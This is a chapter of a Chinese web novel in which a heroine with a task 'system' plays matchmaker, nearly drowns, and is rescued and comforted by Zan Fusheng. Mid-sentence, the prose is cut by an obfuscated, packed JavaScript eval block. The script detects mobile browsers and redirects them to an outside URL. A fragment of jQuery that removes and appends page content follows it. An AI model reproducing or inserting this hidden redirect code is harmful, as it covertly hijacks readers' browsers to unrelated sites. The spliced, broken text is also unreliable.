今天是巧儿的生日,必须赶紧把任务结束了。
祝涞早上去教娄吉之前,还顺道做了几个小任务,中间趁着吃午饭休息的时间,她来到巧儿的家。
“巧儿,生日快乐啊。”祝涞说着撩起门帘跨进来。
“汝快过来!”巧儿一见她便把她拉进屋里。
大山也在,还带着木梳。
巧儿把木梳拿给祝涞看,眼睛弯弯的,语调上扬:“大山做给侬的,好看不?”
祝涞接过来,上面有嵌着珍珠和玛瑙,那是她给大山的,她细细地看了一下,又把它还给巧儿:“模样真是精致,想必花了不少心思。”
“嗯,”巧儿低着头,小心地将木梳放好,“就是不知是不是伤了的时候做的,侬那几日好好看着他,让他万不可做工。”
“俺说好几遍了,早在几天前就已做好,没偷干活。”大山走到巧儿旁边,“汝还是不信俺?”
巧儿往桌前拿了块手帕给他:“喏,给汝的回礼,做多了一个。”
那手帕绣花繁复,立体生动。
大山很是欣喜地收下了,满脸通红,拿着手帕看了好一会:“不愧是巧儿,手真巧。”
巧儿羞赦地看着他,眼波流转。
祝涞又被塞了一把狗粮,倒是没怎么介意,剧情跟她预想的不一样,目的却是达成了。
只是这个系统怎么还没播报任务完成?
她又看了遍任务目标:让两人说出心意,结为连理。
两样都没达成,白干。
“你们没有什么要对对方说的吗?”祝涞问他俩,恨不得帮他们说出来。
“说?”巧儿问,又摇头。
看来还是缺个契机。
祝涞脑一热,干脆胡诌:“今天是农历多少来着?是不是二月廿十三?”
巧儿点头。
祝涞继续编:“对!我突然想起来,我们老家那边有个习俗,二月廿十三的晚上,带上一个河灯,去村里的河边,在河灯上面写下给祈福对象的祝福语,放的时候念出来,就能永保那人平安健康,幸福美满。”
她看两人都有些蠢蠢欲动的样子,但又都没出声。
“当然,也可以给自己写。”祝涞拉着巧儿的手,“我刚好有三个河灯,晚上我们一起去放怎么样?”
之前的任务给的,祝涞还不知道有什么用,这也算派上了用场。
巧儿先点了头,接着是大山。
*
娄家的门依旧打得很开,祝涞远远就看见娄吉还在画,娄父娄母要出门,给他交代几句,他都敷衍了事,继续努力画。
“老师辛苦。”娄母在门外遇见祝涞,对她说。
“不辛苦不辛苦,我就是偶尔指导一下。”祝涞偶尔谦虚。
二老走后,祝涞就在旁边等着娄吉画完。
“师父,我画的怎样?可有希望?”娄吉这两日画技没进步多少,说话倒是跟祝涞学得挺多,像你不说“汝”了,我也不说“侬”。
祝涞看了画,随后轻轻拍了下他的头:“你才学多久,就问有没有希望?”
“因为我觉得触到了些门道。”娄吉摸了摸头又重新画,也没有垂头丧气。
“先好好画,离上道还远着呢,想一步登天?”祝涞说。
她又突然想到,自己不就是一步登天吗?
不出几天就当了娄吉的“师父”,当然,她师承的可是昝浮生,那就另当别论了。
“师父,你是不是学了很久?”娄吉边画边问。
“嗯,画了小十年,不过,你肯定比我好。”她摸摸娄吉的小脑袋瓜,“你今年一定能进画院的,相信我。”
娄吉发出一声清脆的笑,带着小孩子的天真烂漫,他埋头苦画,毫无怨言。
祝涞在一旁也无所事事,只是偶然提一些建议,她拿起个苹果正打算洗一下再吃,抬头就看到御竹站在门外,目光投过去时,他微微往左侧,倚着门框,身后的昝浮生与她对视上,神色平静。
围墙上停着三五只燕子,叽叽喳喳,有只嘴里衔着泥,脚一蹬飞进屋里。
祝涞手里的苹果掉了下去。
娄吉立马注意到,弯下腰帮她捡,御竹在这时笑着给她比划了个“走”的手势,等到祝涞接过娄吉给她的苹果后再往门口看时,已经空无一人了。
祝涞一下午都有些心不在焉,娄吉以为她不舒服,问她要不要明天再过来。
“没事,我就是太无聊——我来画一幅吧,你看着我画。”祝涞拿过纸笔就开始画。
娄吉在一旁拍手叫好。
祝涞就这样尽心尽力教了一下午,等到夜色降临,娄吉才依依不舍地跟她道别。
*
“河灯先给我。”祝涞转进一个隐蔽的拐角,对系统说。
系统:“这种实物道具不激活的话,属性奖励也就没了,只能当做一个普通的物品,这点你知道吧?”
“不知道。”祝涞回它。
“【河灯】道具,+10亲密值,你一共有5个,确定要用吗?”系统补充道。
祝涞想了下,自己现在貌似没有要加亲密度的人:“用。”
一道亮黄色的光在祝涞手中出现,而后逐渐消散,彻底消失后,她手里便多了三个莲花状的河灯,底下是一层彩纸,上面放有松香蜡烛,烛光微亮,暖黄色的光映在祝涞的脸上,她轻轻一笑,顿感温暖。
祝涞到了第一次见巧儿的地方,也就是清河,巧儿和大山已经来了。
“给。”祝涞把河灯分给他们,“我忘记我的河灯写不了字了,你们念出来,可以么?”
巧儿把河灯转过来看,又冲她展颜一笑:“可以呀。”
大山看着巧儿,也点点头。
“那我们把它放在木板上面吧。”祝涞指着岸边的碎木板,对他们说。
三人走过去,将河灯放好,祝涞正要开口说话。
“侬去那边放。”巧儿说。
“俺也想去别处。”大山说。
俩人走的还是相反的方向。
不是说难度没有提升吗?这是几个意思?
祝涞踢了一脚系统,想要质问它,又突然灵机一动——她跳进了河里。
大山是救了溺水的巧儿后,两人关系渐好,比足兄妹,既然别的没用,那就来刺激一下他们。
“救命啊!”祝涞刚跳下去就说,“巧儿!大山!”
只不过祝涞没想到这水这么深,她是个游泳半吊子,学了一半又没学的那种,她在河里扑腾着,水顺着喉管进入肺里,喘不上气,一股晕眩感传来,她屏着最后一口气:“救我!”
巧儿离她进些,当即赶过来,就见祝涞顺着水流越飘越远,偏她更是个旱鸭子,她急得直跺脚:“大山呢?大山哪去了?”
巧儿四处看,就是没见他人影,她走到离祝涞不远的岸边,伸手去够祝涞的身子,却怎么都够不到,眼看祝涞快要浮不出水面了,巧儿站起来就要往下跳。
一个天旋地转,巧儿被人扑在地上,两人在草地上滚了几圈才停下来。
“侬要干甚!”大山激切地说。
巧儿赶紧推开他:“河里……河里…”
大山还有些不明所以,忽然,旁边似有一阵大风经过,急速,迅猛,带着强劲的力量。
有个白色的人影跳进了河里,“噗通”一声也没了影子。
御竹差点没跟上:“殿下!”
……
窒息,难受,胸闷。
无边的黑暗包裹着她,莫大的恐惧和不安让祝涞的心脏狂跳不止,接着是极度的绝望。
就这样结束吧,也挺好的,祝涞想。
突然,一只手缠住了她的腰,带着她往上游,不留余力地将她拽出水面。
祝涞想抓住他,手却使不上力,救她的那人却死死地抓住她,仿佛松开一下,她就会接着往下沉。
快要上岸时,祝涞感觉有一百只手在拉她。
“咳咳!”她还没反应过来,嘴里已经吐出一大口水。
她半睁开眼,发现自己横趴在某个人的大腿上,那人按住自己的头,拍击背部,一下又一下,将她拍得有些翻江倒海。
祝涞又吐了两口,再吐不出来了,那人把她轻轻转过来,贴身抱住。
祝涞终于看清那人的模样。
是昝浮生。
“殿下你这……”御竹见昝浮生湿透,连忙将外衣脱下,“殿下赶紧披上,将姑娘交给属下便好。”
御竹说着要往前走。
“不必了。”昝浮生将御竹的外衣给祝涞盖上,靠近自己的一边给她往下包里一点,隔绝了同样湿透的衣服,他把祝涞打横抱起来,脚步急切。
“没事吧?”巧儿心有余悸,大山在后面扶着她。
“都怪俺,俺当时……”
昝浮生抱着祝涞没停,御竹将二人拦下来:“此事暂且放下,先救姑娘要紧,二位且先跟吾走。”
二人忧心忡忡看着昝浮生离去的背影,又看着对方,没再说话,跟着御
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854610|191630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竹后面快步走。
*
祝涞被放在床上,昝浮生轻柔地帮她脱了外衣和鞋子,拿干毛巾擦着身子,她微微有些痒。
“好痒。”祝涞扭了下,手握住他的手。
“别动。”昝浮生警告她。
但是祝涞忍不住,一碰腋下就感觉打开了某个开关,她扒着床想要躲开,两只手被昝浮生合住,往上一压。
他俯身靠过来,湿热的气息吐在她刚擦干的脸上:“莫要再乱动。”
祝涞直视他,点点头。
昝浮生这才松开她。
擦到腰的时候,祝涞还是微微缩了一下,她有些害怕地看着昝浮生,就见他一向清浅的眸色变得有些深,也许是夜晚的缘故。
“你去换衣服。”祝涞软绵绵地戳下他,她还是没力气。
御竹这时带着巧儿进来,发现床上的祝涞只穿了肚兜和里裤的时候,赶紧转过身:“柜子里有干衣服,你帮姑娘换上吧。”
两人走出去,把门关上。
祝涞换好干净的衣服后,门被人敲了下。
“进。”祝涞说。
昝浮生也换好了衣服,他走过来,又用毛毯把她包了一圈,随后丢给她一个干毛巾,声音温柔:“头发。”
御竹走进来,对巧儿说:“时候不早了,你也受惊,先行回去休息,姑娘已无大碍了。”
巧儿回头看了一下祝涞,又被御竹带出去了。
“欸——”祝涞刚伸出的手被昝浮生抓住,往回推,放在毛巾上。
“快擦,要吾帮你?”昝浮生坐到床边,盯着她擦。
他的头发没比她干多少,祝涞给自己随意擦了两下,就想给他擦。
昝浮生见她怎么也不安分,把毛巾拿过来,细细地给她弄干头发。
“好冷。”祝涞突然说。
昝浮生的手一顿,他看着祝涞被包了里三层外三层,却还是喊冷:“屋内不便生火。”
“可我就是冷。”祝涞的语气有些委屈。
昝浮生用手碰了碰她额头,脸色略显担忧:“莫不是发热了?”
“热?什么热?”祝涞说着又将毯子合拢,“我一点都不热,我要冷死了。”
眼见她头发干了许多,昝浮生给她理了下:“你家里可还有被子?”
祝涞摇头,她还在不自觉地颤抖。
“那吾为你取碗热汤来。”昝浮生正要起身。
祝涞一把撇开身上的毯子,抱了上去。
屋内寂静了好半晌。
“这样暖和多了。”祝涞把脸埋在他的脖子里,“我不想喝汤,你能让我抱会么?实在太难受了。”
昝浮生一开始没动,感到怀里的人逐渐放松下来,不再微微发抖的时候,才缓缓环抱回去。
他又捡起床上的毯子给她披好:“还冷么?”
祝涞点点头,蹭了蹭他。
好奇怪,他的身上仿佛有种魔力,像极寒之地的暖炉,她必须源源不断地从他身上汲取热度,才不至于失温而死。
这样坐着抱的姿势太过废力,祝涞逐渐没了力气,全靠昝浮生托住她,她才不至于滑下去。
“你先躺下。”昝浮生摸摸她的头,轻声道。
祝涞顺着他的手往下躺,两人稍稍分开,她又感受到刺骨的凉意,她连忙拉他的手,眼里蒙着泪光。
她好疲倦,好难受,却不知从何发泄,几天来挤压的情绪像找到了泄洪口,她在爷爷的葬礼结束之后第一次哭出来,就再也止不住。
昝浮生坐到床边,将她抱起来,一只手给她擦泪,一只手轻拍她的背,让她哭得顺畅些:“已没事了。”
他低声哄她。
他甚至都不问她为什么,很多件事的为什么,他都没问,就这么任由她在怀里哭得死去活来。
御竹以为发生什么事,在门口敲着门,给祝涞吓一跳,哭声陡然停住。
“无事。”昝浮生说。
敲门声停了,祝涞哭不出来了,她还是冷,紧紧拥抱他,没再弄出动静,就像睡着了。
昝浮生轻缓地抱着她一起躺下来,替她把被子掖好,感觉到她还在打寒颤,他把手放到她的颈侧:“可以?”
祝涞发出微小的一声“嗯”,就没后文了。
昝浮生给她搓热脖子后,将手探到腹处,她这次没躲开,还稍稍贴紧。
帮她揉了一小会后,祝涞的身体才渐渐回温。
她的手抓在他腰侧的衣服上,就像抓住了最后一棵救命稻草。